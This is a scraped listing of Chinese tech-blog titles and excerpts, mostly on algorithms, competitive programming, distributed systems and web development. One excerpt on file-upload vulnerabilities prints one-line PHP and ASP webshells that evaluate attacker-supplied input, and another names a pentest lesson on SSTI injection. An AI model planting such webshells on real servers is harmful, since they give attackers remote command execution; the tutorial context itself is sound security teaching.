算法10.23 10 23
退划 1 23.3.26
有一个月的时间我在写一些东西 但是写在本子上也不太好说明什么东西 敬告本部学籍的奥赛青年：不要选择物化地组合 没有滥用一级标题 当时我跟zasdcn说出我们班年级前$1000$只有$8$个人的时候 zasdcn人都傻了，他说他们班年级前$1000$有$40$个人 很难想象到没有模拟的时候我凭借$92 ......
算法学习笔记(20): AC自动机
AC自动机 前置知识： 字典树：可以参考我的另一篇文章 算法学习笔记(15): Trie（字典树） ~~KMP~~：可以参考 KMP - Ricky2007，但是不理解KMP算法并不会对这个算法的理解产生影响。 使用场景 AC自动机是一种著名的多模式匹配算法。 可以完成类似于KMP算法的工作，但是由 ......
【ACM算法竞赛日常训练】DAY3题解与分析【旅游】【tokitsukaze and Soldier】
DAY3共2题： 旅游 tokitsukaze and Soldier 🎈 作者：Eriktse 🎈 简介：19岁，211计算机在读，现役ACM银牌选手🏆力争以通俗易懂的方式讲解算法！❤️欢迎关注我，一起交流C++/Python算法。（优质好文持续更新中……）🚀 🎈 原文链接（阅读原文获得 ......
算法API--Arrays
二分查找方法的细节1：数组中的元素必须是有序的，并且是升序的 二分查找方法的细节2： 拷贝数组的方法细节： sort按照指定规则排序的底层原理：这里需要二分查找和插入排序，匿名内部类的知识 代码实现： import java.util.Arrays;import java.util.Comparat ......
学生成绩的[排名算法][课程排名计算范围]选项及成绩[总评]的解释说明
中高等职业类或普通高校类院校的学生成绩管理,和初高中学生的成绩管理是不一样的。初高中同一个年级的学生的学习课程一般都是一样,排名采用班级排名和年级排名就可以了，但中高等职业类或普通高校类院校的学生，同一个年级,不同的专业,课程是不一样的。某些课程假设一样,也是单独在同一个班级或同一个年级的同一个专业 ......
排序算法
#排序算法 本文默认升序（从小到大）排序 ##1. 入门排序 ###1.1 选择排序 在后（n-i)个元素中找到一个最小的，放在第i位。 时间复杂度为O($n^2$)。 代码实现如下： for(int i=0;i<n;i++){ int minn=i; for(int j=i+1;j<n;j++) ......
[更新中][算法][动态规划][dynamic programing]力扣dp学习计划题单
最近开始跟着力扣的官方题单开始做题，先从动态规划开始做起，以后在此记录每周做的题目，做总结。 基本思路 动态规划利用递推或递归来解决问题，通常这个问题可以被拆分成相同的小问题，我们通过解决一个小问题继而解决更高一层的较大问题，整合其结果一直到原问题上。例如，斐波那契数列就是一个很典型的可以用动态规划 ......
分布式技术原理与算法解析 02 - 分布式资源管理与负载调度
分布式体系结构之集中式结构 集中式结构就是由一台或多台机器组成中央服务器，所有数据存储于此，所有业务也先由其处理。多节点与中央服务器连接，并将自己信息汇报给中央服务器，由中央服务器同一进行资源和任务调度。特点是部署结构简单，中央节点无需考虑对任务的多节点部署，节点服务器间无需通信和协作，只要与中央服 ......
闲话 23.3.26
闲话 闲话【碎片】(2/?) 这时候是不是该写历年省选真题了？ 怎么这些天闲话阅读量低迷啊？ ~~是不是没有多项式就没人看啊？~~ 杂题 CF1776J 给定一张 $n$ 个点 $m$ 条边的无向连通图 $G_0 = (V_0, E_0)$，点集 $V_0$ 中编号为 $i$ 的点有颜色 $c_i( ......
美孚® 旋风4T 10W-40 粘度
https://www.mobil.com.cn/zh-cn/products/mobil-special-4t-10w-40 100度 运动粘度 ，15.5 太高了，体验不是很好，对本田踏板来说，之前加过，跑了一段时间，感觉不丝滑，换上10w30改善很多，机油规格还是要按原厂的 来。 ......
爱德王子 ax5 10w-30
100粘度还是挺高的，14多。 来源是 http://m.shell-solus.com/pd.jsp?pid=184&mid=3&groupId=1&desc=true& ......
代码随想录算法训练营Day53 动态规划
#代码随想录算法训练营 代码随想录算法训练营Day53 动态规划|● 1143.最长公共子序列 1035.不相交的线 53. 最大子序和 动态规划 1143.最长公共子序列 题目链接：1143.最长公共子序列 给定两个字符串 text1 和 text2，返回这两个字符串的最长公共子序列的长度。 一个 ......
分布式技术原理与算法解析 01 - 分布式协调与同步
关于 电商系统：最看重吞吐量，为了更多的处理用户访问和订单业务 IoT：最看重资源占用率，在某些设备上资源都是KB级的 电信业务：最看重响应时间、完成时间、可用性，保证通话质量 HPC：最看重加速比，这种计算特带是耗时长 大数据：最看重加速比，处理时间较HPC短，但也到达小时级 云计算：最看重操作耗 ......
windows10挂载webdav
一、简介当前市面上大部分的网盘，可以挂载到 “Alist” 中。Alist 又支持 webdav协议。这就意味着通过 Alist 的 webdav 服务，我们可以直接将网盘挂载到本地，类似于本地磁盘一样读写网盘中文件。 但是在本地挂载的过程中，无论是添加网络位置，还是映射网络驱动器，都会出现文件路径 ......
支持10倍订单增长，携程数据库架构升级实践
随着机票订单业务的不断增长，当前订单处理系统的架构已经不能满足日益增长的业务需求，系统性能捉襟见肘，主要体现在以下方面：
数据库CPU资源在业务高峰期经常达到50%以上，运行状况亮起了黄灯；
磁盘存储空间严重不足，需要经常清理磁盘数据腾挪可用空间；
系统扩容能力不足，如果需要提升处理能力只能更换配置... ......
上位机学习记录(10) 扫码枪
上位机学习记录(10) 扫码枪 设计思路 扫码枪本质上是个串口设备，连接串口以后，给缓冲区编写函数处理数据，然后抛出数据 编写串口连接，连接扫码枪。然后绑定DataReceived事件（按照扫描枪传入的数据多少，创建多大的缓冲区，然后根据编码格式，把数据传递给一个委托对象）。 编写事件处理信息（自定 ......
机器学习算法（五）：基于企鹅数据集的决策树分类预测
决策树的主要优点：
1. 具有很好的解释性，模型可以生成可以理解的规则。
2. 可以发现特征的重要程度。
3. 模型的计算复杂度较低。
决策树的主要缺点：
1. 模型容易过拟合，需要采用减枝技术处理。
2. 不能很好利用连续型特征。
3. 预测能力有限，无法达到其他强监督模型效果。
4. 方差... ......
算法—二分法详解
二分法详解 1.二分法 在计算机科学中，二分查找算法也称折半搜索算法，对数搜索算法，是一种在有序数组中查找某一特定元素的搜索算法。搜索过程从数组的中间元素开始，如果中间元素正好是要查找的元素，则搜索过程结束；如果某一特定元素大于或者小于中间元素，则在数组大于或小于中间元素的那一半中查找，而且跟开始一 ......
10.文件上传和文件包含
文件上传和文件包含 文件上传 文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。 一句话木马 PHP: <?php @eval($_POST['cmd']);?> ASP: <%eval request("cmd")%> ASPX: <%@ Page La ......
KMP字符串匹配算法
KMP算法的要点是避免回溯和Next[]数组，其中，Next[]数组中存的是最长公共前后缀的长度. 1.KMP模板 例题：HDU2087剪花布条 int Next[N],cnt;//构建Next[]数组 void getNext(char *p,int plen){ Next[1]=Next[0]= ......
用C语言实现ElGamal算法
是我在上大学的侄子问的题目，参考了书籍、博客，花了一些时间完成的，丢掉可惜了，记录下来吧。这个程序还有些缺陷，数值太大时计算结果会溢出 ......
GPT-4杀疯了！Copilot X重磅发布！AI写代码效率10倍提升，码农遭降维打击...
https://mp.weixin.qq.com/s/HIEfHDsPF8EZwKJ61tDv4g GPT-4杀疯了！Copilot X重磅发布！AI写代码效率10倍提升，码农遭降维打击... CVer 2023-03-24 23:59 发表于上海 收录于合集 #AIGC38个 #AI行业14个 点 ......
算法总结--ST表
声明(~~叠甲~~)：鄙人水平有限，本文为作者的学习总结，仅供参考。 1. RMQ 介绍 在开始介绍 ST 表前，我们先了解以下它以用的场景 RMQ问题 。RMQ (Range Minimum/Maximum Query)问题是指：对于长度为n的数列A，回答若干询问RMQ(A,i,j)(i,j<=n ......
[FastAPI-23]响应体pydantic dict方法
import typing from fastapi import FastAPI, Response from fastapi.responses import JSONResponse from pydantic import BaseModel app = FastAPI() ''' pyda ......
闲话 23.3.25
闲话 我看看今天要写什么杂题…… 模拟赛 GDKOI2023 Day2。感谢神秘题（咬牙）。 T1 思路不难。三个点间的路径肯定交于一点 $s$，我们可以解方程找到 $s\to u/v/w$ 的长度。 首先对每个点找到前三长的不交链，这个是经典问题，我们可以 $O(n)$ 地换根 dp 或 $O(n ......
百度2020校招Web前端工程师笔试卷（第一批）大题部分(21~23)
非大题在本地pdf中有详解 #21.异或 题解 #include <iostream> using namespace std; long long change(long long x){ if(x % 4 == 0){ return x; }else if(x % 4 == 1){ return ......
《渗透测试》WEB攻防-Python考点&CTF与CMS-SSTI模版注入&PYC反编译 2022 Day23
1 1 PY反编译-PYC编译文件反编译源码 1.1 pyc文件是py文件编译后生成的字节码文件(byte code)，pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的，类似Java的.class文件，一般py文件改变后，都会重新生成pyc文件。 真题附件：ht ......
友塔游戏23春招前端笔试复盘
笔试共计三道编程题，时间共计两小时，其中后面两道需要自己处理输入输出，平时习惯不用处理，突然上手才发现自己在这方面很弱，也惊觉自己在C语言方面也已经十分生疏，还需多多练习。 1.给出后序排列的算术式，计算结果， 如9,5,3，-，-，15，*，10，- 最后返回结果为5 思路：从左到右遍历给定的序列 ......